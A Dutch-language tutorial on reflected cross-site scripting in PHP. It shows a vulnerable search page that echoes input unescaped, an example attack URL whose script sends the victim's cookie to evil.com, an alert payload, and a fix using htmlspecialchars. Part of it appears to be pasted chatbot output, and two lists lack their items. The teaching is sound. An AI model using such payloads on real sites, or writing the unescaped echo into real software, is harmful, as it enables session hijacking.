Reflected XSS, ook wel niet-persistente XSS genoemd, is een veelvoorkomende variant van Cross Site Scripting waarbij het kwaadaardige script niet wordt opgeslagen op de server, maar direct wordt “teruggekaatst” in de respons van de webapplicatie. Dit gebeurt meestal via URL-parameters, formulieren of HTTP-headers.
Het proces verloopt meestal als volgt:
Reflected XSS vereist meestal dat een slachtoffer op een speciaal geprepareerde link klikt. Het script wordt niet opgeslagen, maar uitgevoerd op het moment dat de gebruiker de link bezoekt. Dit maakt het een populaire aanvalsvector voor phishing en social engineering.
Mogelijke gevolgen zijn onder andere:
Stel je voor dat een zoekfunctie de zoekterm direct in de HTML plaatst zonder ontsmetting:
<!-- Onveilige weergave van gebruikersinvoer -->
<?php
$query = $_GET['q'];
echo "U zocht naar: $query";
?>
Als een aanvaller nu de volgende URL verstuurt:
https://voorbeeld.nl/zoeken.php?q=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
En een slachtoffer klikt op deze link, dan wordt het script direct uitgevoerd in de browser van het slachtoffer.
Reflected XSS is een directe aanvalsvorm waarbij kwaadaardige scripts via gebruikersinvoer direct worden teruggegeven aan de browser. Omdat de aanval vaak afhankelijk is van social engineering, is het belangrijk om zowel technische als organisatorische maatregelen te nemen om gebruikers te beschermen.
Natuurlijk! Hieronder vind je een eenvoudig codevoorbeeld van een Reflected XSS-kwetsbaarheid in PHP, gevolgd door uitleg en een veilige oplossing.
Stel je hebt een zoekfunctie die de zoekterm direct terugplaatst in de HTML zonder ontsmetting:
<?php
// Onveilige verwerking van gebruikersinvoer
if (isset($_GET['q'])) {
$query = $_GET['q'];
echo "U zocht naar: $query";
}
?>
Aanval:
Een aanvaller kan nu een link sturen zoals:
https://voorbeeld.nl/zoeken.php?q=<script>alert('XSS')</script>
Als een slachtoffer op deze link klikt, wordt het script direct uitgevoerd in de browser.
Gebruik altijd output encoding bij het weergeven van gebruikersinvoer:
<?php
// Veilige verwerking van gebruikersinvoer
if (isset($_GET['q'])) {
$query = $_GET['q'];
echo "U zocht naar: " . htmlspecialchars($query, ENT_QUOTES, 'UTF-8');
}
?>
Nu wordt het script niet uitgevoerd, maar als gewone tekst weergegeven.